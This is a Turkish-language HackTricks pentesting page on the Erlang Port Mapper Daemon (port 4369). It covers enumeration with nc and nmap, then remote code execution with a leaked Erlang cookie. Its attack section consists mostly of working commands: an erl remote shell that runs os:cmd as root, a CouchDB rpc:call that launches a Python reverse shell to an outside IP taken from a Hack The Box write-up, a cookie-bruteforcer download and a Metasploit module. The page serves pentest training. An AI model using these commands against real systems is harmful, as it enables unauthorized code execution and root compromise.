hacktricks/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

86 lines
3.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
# Temel Bilgiler
**Erlang Port Mapper Daemon (epmd)**, dağıtık Erlang örnekleri için bir koordinatör olarak hizmet eder. Sembolik düğüm adlarını makine adreslerine eşlemekten sorumludur; bu, her düğüm adının belirli bir adresle ilişkilendirilmesini sağlar. **epmd**'nin bu rolü, farklı Erlang düğümleri arasında ağ üzerinde kesintisiz etkileşim ve iletişim için kritik öneme sahiptir.
**Varsayılan port**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
Bu, varsayılan olarak RabbitMQ ve CouchDB kurulumlarında kullanılır.
# Sayım
## Manuel
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
## Otomatik
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
# Erlang Cookie RCE
## Remote Connection
Eğer **Authentication cookie'sini sızdırabilirseniz**, host üzerinde kod çalıştırabilirsiniz. Genellikle, bu cookie `~/.erlang.cookie` içinde bulunur ve erlang tarafından ilk başlatıldığında oluşturulur. Eğer değiştirilmemiş veya manuel olarak ayarlanmamışsa, 20 karakter uzunluğunda \[A:Z] aralığında rastgele bir dizedir.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
Daha fazla bilgi için [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Yazar ayrıca çerezi zorlamak için bir program paylaşıyor:
{{#file}}
epmd_bf-0.1.tar.bz2
{{#endfile}}
## Yerel Bağlantı
Bu durumda, yerel olarak yetkileri artırmak için CouchDB'yi kötüye kullanacağız:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Örnek [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) adresinden alınmıştır.\
**Bu zafiyeti nasıl istismar edeceğinizi** **pratik yapmak için** **Canape HTB makinesini** kullanabilirsiniz.
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
# Shodan
- `port:4369 "portta"`
{{#include ../banners/hacktricks-training.md}}